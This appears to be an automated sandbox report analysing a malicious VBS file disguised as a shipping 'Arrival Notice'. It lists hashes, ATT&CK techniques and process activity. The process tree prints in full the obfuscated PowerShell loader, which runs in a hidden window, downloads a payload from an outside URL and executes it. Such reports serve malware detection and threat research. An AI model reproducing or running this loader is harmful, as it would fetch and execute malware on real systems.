07e56463e91e91946a325854c74045befc395f24ca241b08572781234f66a6e3

General

Target

Arrival_Notice_Notification_74494837484_783839374648_83837474678.vbs
Size

22KB
MD5

e1e74844d85bdd9c257262d781b6f1d8
SHA1

cbe9bdb7940eed3698e98a4512defe80e90ca5f9
SHA256

3eb2a07940092865f967fcf4ba55b61e07f50e014710ce11ceac4c736276fd72
SHA512

a5d6d9a24f58fab724d6b8db7040da4dc310d737e214c9f3415456804a00fc6c2e83f3a61c9339c8838080eb4d4c73cd410de66cdfd79ad533f6a0ae8ae932d2
SSDEEP

384:vlqi6VEygTmNnWHqBn7BsYYHct6wocwEOFrpqS4hQrm+EeXlAkGWhQT0vHP+VnEo:vcqnT5VwUEO1BIQi8fGTT0PP6EFrJA

Score

8^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2164	powershell.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
2164	powershell.exe
2164	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2164	powershell.exe

Suspicious use of WriteProcessMemory 4 IoCs

description	pid	Process	procid_target
PID 3244 wrote to memory of 2164	3244	WScript.exe	87
PID 3244 wrote to memory of 2164	3244	WScript.exe	87
PID 2164 wrote to memory of 1032	2164	powershell.exe	89
PID 2164 wrote to memory of 1032	2164	powershell.exe	89

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Arrival_Notice_Notification_74494837484_783839374648_83837474678.vbs"
1⤵
- Suspicious use of WriteProcessMemory
PID:3244
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -windowstyle hidden "$Fremadskriden = 1;Function Sammenkoblendes($Afmystificerendes){$Fravalgsordnings=$Afmystificerendes.Length-$Fremadskriden;$Undereducation='Substring';For( $Pressuriser11=4;$Pressuriser11 -lt $Fravalgsordnings;$Pressuriser11+=5){$Srhed+=$Afmystificerendes.$Undereducation.Invoke( $Pressuriser11, $Fremadskriden);}$Srhed;}function marrow($Etageboligomraadet245){ . ($Svigerfdrene) ($Etageboligomraadet245);}$Cirsocele=Sammenkoblendes 'E.saM B go,aevz Oc.i alglTenulO,era dvi/Crab5Mega.Kubo0Lite Rann( SteWUnstiKns,nBarydKi.eoPic,w FrisEntr C,iN IsoTBind Mumm1Dipl0Nyct.Gran0Susa;C.el HkeWZapai,oblnin,e6Tolv4Fla.;boop San.xSejl6S,me4Svin;Mare WalerMillv ,or:Ove.1Fina2Fron1Carp.Natu0 uro)Encr BageGNrsyeInsoc uink ThooL.mi/S,pe2 Dec0Sknh1 s d0Holo0Regn1Bypo0Bada1Perv FastF MoliHie.rTa,le tanfHydroDerwx Swe/ Ent1 Eks2Sard1Caro. Str0 Amp ';$Dysmerogenetic=Sammenkoblendes 'Chu.UP.eus None M.nrPleu-ContA.remg SerefarvnMedbtF.rs ';$Spyttende124=Sammenkoblendes ' KorhA,sutDonntSvanp MixsBani:Hear/Mars/Priedma,faYapot BrueSubpa SypdSi.iv,adfitrane.porsKhas. komnSkrml Hod/RapecInspgKerciOply-G bob.roliAnsenU.fa/TilsVLitha ,ertIndpmSelvaSlgtnSurm.BlinpStilf nab T t ';$Outfeel=Sammenkoblendes ' ppr>Cel. ';$Svigerfdrene=Sammenkoblendes ' UnfiTri,eRem.xFa.r ';$Lkkedes='Klanneren';$Motionering = Sammenkoblendes ' F.eeHarvc.olyhOtoco Dem uspi% TakaBoarpH,lopt.redOntaaFir tappeaHemo%untr\ ,loNBenyi InttYarrrAf.ra Indt vedeKur,tK.lk.Ruf.B.kldrWis oRepl Skem&D ca& Leg Gea,e MilcF.rshfir,oSti. Opertatom ';marrow (Sammenkoblendes ' tre$Atr.gPengl.haro.xtrb.ooka elol Ric: resFUntru .urnT akg Se.i Ta,sBo.ht MaaaPrest Emu=Behj(sctdcPuppm.lyfdLgem micr/Ira.c Sco Sodi$TrypM BaroTitot No iSkydo,ounn SugeClocrBoxliLoggn ,ing Hjl)B.lb ');marrow (Sammenkoblendes 'over$SpligLehalH,stoweltbA.pha Undl .np: ejsS,olymArberC,rpfcartaAmbors,atvUdskeLaisn Di,sDest=Hodo$BunoS.uggpAftvySwadtTindtBegreUdbrnIn.adEle,e Dyr1B gr2Surn4 Ess.,rucsSycop ngulcoryiHandt Pre(Arge$N.rbOKommusi,vtBat fOvere AnkeBobllenla)Tris ');$Spyttende124=$Smrfarvens[0];$Teratoid= (Sammenkoblendes 'Keto$C,pigPenglCinno Strb ExaaTyfulnau,:BindPTrolr rouoS insOesttPladoOpdamEnq,i LeuaMaso=PrevNidete Sclw ,ud- B,nOKo,tb forj ReeeCheccEns tRebo Nat.SF,lnyForssStortO.ereTympm ez. GasN Ha eEva,tUdsy.AbsiWNoboe ilsb SepCCamel AfgicouneH,mmnOb it');$Teratoid+=$Fungistat[1];marrow ($Teratoid);marrow (Sammenkoblendes 'Selv$ TelPFordrBangoTamusArsetCurroUnremDelii,oejaMode.NotiHSpite PosaSkatdEkkoe Sk,r CoosIsom[Be e$ .liD.chiyDi.vsDehgmKrlfegeder Tr o D,tgHiereHeksnSkdeeDe,etTickisubecB.ll]Som,=Bu.a$S daCFleri der DrysGibbo PorcTin,eSyltlIsotePs.u ');$papegjes=Sammenkoblendes 'Bety$.nvaPD plrP,buoSaarsBrostCrino R,nmLikviSporaFidi.Spo,DP,ofoC.nsw CannFormlcouroInfea Po,dDyreFPlauiBarclBi leDa.a(D.sc$ R,lSSvirpK,asyko it Nictcra,eudsanOp,id Agee tri1Made2Scam4Klau,Ap,l$ O eNDikaoSubcd Hy,dIn.bl.oosi .ennPolygKrse)p il ';$Noddling=$Fungistat[0];marrow (Sammenkoblendes 'reti$overg omlZoo.oop.abBogha Kall Der:JomfH KnsoVr.ssOuthtmarkaChilg T leThradLi e= .te(StokTAkkoe LexsMysttuken-OrthP arta,umatOblih Out Dat$StopNAngloReetdRa,td KonlPar,iMa,mnVe,dg.oca)Whif ');while (!$Hostaged) {marrow (Sammenkoblendes 'U.an$ O.egAgurlSu,eoPaatbAccoa BarlEmal:AfklNSkyda KorrTi,tc .aroS jotLsrii topn B.n= P,l$ vet SelrPinnuQ,odeAfst ') ;marrow $papegjes;marrow (Sammenkoblendes 'P odSSl ttSjleaFeedrmilitHvle-FadeSGuazlSorteUtv.esidepUnar Up,e4Cauf ');marrow (Sammenkoblendes ',enn$EllegIn.ol,arwo Dilbp rta ovelAnti:OmstHProtoHekts atit hypaGuapgCoveeGarad .em=Slan(Myx TLoome .krsLabyt ,et-KleaPTritaBalatJoahh.olt Ban$S rcN indostr.dSo,hd SynlS.gti acknDatagRund)Ub.n ') ;marrow (Sammenkoblendes 'Br.d$U.deg msal UnmoTa pbkre aKonglCell: ,arMNonpi nds .bdaAdgadEnegvGlase K knPodgtSlatuunserBraseUraa=Un,r$AflygichtlT,ykop otbPseuaPe,glBoli: Mo fSulpyH elrStemtemphj Reme akt Si,sC,az+Buks+,nro%Ante$Sta SEs emCryprTal.f BusaLollr Secv iseB,iqnSpodsSaar.TowacFortoAffauBitmn Mytt Sip ') ;$Spyttende124=$Smrfarvens[$Misadventure];}$Windsorstolens=326452;$Maanedsskifte=27624;marrow (Sammenkoblendes 'T an$Skr,gBlepl,armoGestbFluxa Unil Kon:UnwiFElsdoFranrReoxbSt,moAffjg SemsIsmat Araa ConvTr,tsPleu Hypo=D.ba SimoG trie Co,tDell- TriCMuffoActinBioctLambeOsten Edit Str Ak $s.atN ,pooLin,d ProdLovllSalviAltanspelgGla, ');marrow (Sammenkoblendes 'S or$StorgVsenl Mino,menbKlitaSortlBasi:.anvPPseuhBepiyWhitcElekoF rlc Nono LitlLeddl Ec.oPiani,utydM cr Afbl=Inge Last[U,arSStrayStstsOp rtBu,feErotmGene.,tvlCenanoF rbnMyc,v ayseOl,rrNorstTu t]Act.:Ocea:.hamFJymorAflao OpfmKontBAfp.aHetzs .emeNona6 Tik4 ,hoSImpot.oumranfii M,tnAlidgSup (bytt$ ProFT.rboEcphrSk lbFagioko sgU,ras g rtDislaSup.v.abysNitr)Bell ');marrow (Sammenkoblendes 'Beri$ ,ndgOffilTrykoMethbInjuaInd,lSexo:AntiSSc,ae oln Semiv dbo BasrTrils MustBootiMuddpM.ndeKaranNe,rdIndiiCo ve Gu.rM ke Plac=Pati Spdb[SafeS RolyE prs SkotSexoeSvu.mAlbu.OpgaTE,ite Lukxani t Wea.EmaiEMa ln DolcPusloForvd BikiDiscnH rugNonp]Beta: Vi,:Re iAHa dSMarrCLeprICrosI P,e.EskaGKrn e ReftKearSLenst Ki,rDebaievann MidgAnk,(D ra$rstePS.ilhTygnyPr.tcAsseobabecLersoKn.kl N gl Unno T,mi M,rd Br.)Kl a ');marrow (Sammenkoblendes 'Ingr$ B mgJamblmanooS,arbTi.maContlTi,s:Fo bEHertlAdn sStemkGennoba.sv FresingmdKbsvi .orgAnmotMechs Tul=Hist$SkriSNo.dePartnFiffiQuonoAf vr CresIll t.veri MglpBet,eLibenTid,dProdiUpdie Le,r ags.Mades,rosuOprebG,orsdmpntunsarSo.eieje.n P.rgBes,(U,en$ NitWLkagiPe,in Co,dParasEvenoRe,br PlasTrictHn,koIntelTelee Dipn,icrs ra, Dat$ MetMWhisaTrava efinSkdeeGed.d Gr,sManns,ormk.ktoi DelfFredt MideN ma)F,in ');marrow $Elskovsdigts;"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2164
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "echo %appdata%\Nitratet.Bro && echo t"
    3⤵
    PID:1032

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ascozdrj.jyp.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/2164-0-0x00007FFF97ED3000-0x00007FFF97ED5000-memory.dmp

Filesize
8KB

Download
memory/2164-1-0x00000263FC260000-0x00000263FC282000-memory.dmp

Filesize
136KB

Download
memory/2164-11-0x00007FFF97ED0000-0x00007FFF98991000-memory.dmp

Filesize
10.8MB

Download
memory/2164-12-0x00007FFF97ED0000-0x00007FFF98991000-memory.dmp

Filesize
10.8MB

Download
memory/2164-13-0x00007FFF97ED0000-0x00007FFF98991000-memory.dmp

Filesize
10.8MB

Download
memory/2164-14-0x00007FFF97ED3000-0x00007FFF97ED5000-memory.dmp

Filesize
8KB

Download
memory/2164-15-0x00007FFF97ED0000-0x00007FFF98991000-memory.dmp

Filesize
10.8MB

Download
memory/2164-16-0x00007FFF97ED0000-0x00007FFF98991000-memory.dmp

Filesize
10.8MB

Download

Analysis

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